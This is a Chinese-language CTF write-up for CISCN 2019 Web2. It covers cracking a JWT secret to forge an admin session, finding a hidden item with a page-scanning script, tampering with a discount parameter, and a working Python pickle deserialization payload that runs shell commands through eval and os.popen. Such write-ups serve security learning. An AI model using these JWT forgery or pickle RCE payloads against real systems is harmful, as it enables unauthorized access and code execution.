【CISCN 2019华北Day1】Web2

主要记录一下py反序列化和JST爆破

先注册个账号，cookie存在jwt，用c-jwt-cracker破解得到key，去 jwt.io 将user修改为admin，访问个人中心，得到hint，进行unicode解码得到

这网站不仅可以以薅羊毛，我还留了个后门，就藏在lv6里

F12可以发现元素中存在，写个脚本找lv6在哪lvx.png

import requests
for i in range(1,1000):
    url = 'http://node4.anna.nssctf.cn:28597/shop?page={0}'.format(i)
    if 'lv6.png' in requests.get(url).text:
        print(i)
        break
#181

但是价格很贵，抓个包看下，请求当中带有price和discount，改price不行，可以改discount，放包后跟随重定向到，F12可以看到源码（燕国的地图真的长）/b1g_m4mber

代码审计，中/sshop/views/Admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

有这样一句：p = pickle.loads(urllib.unquote(become))

pickle反序列化

exp 中：

import pickle
import urllib.parse
class payload(object):
    def __reduce__(self):
       return (eval, ("__import__('os').popen('ls /').read()",))
a = pickle.dumps(payload(),protocol=0)
print(urllib.parse.quote(a))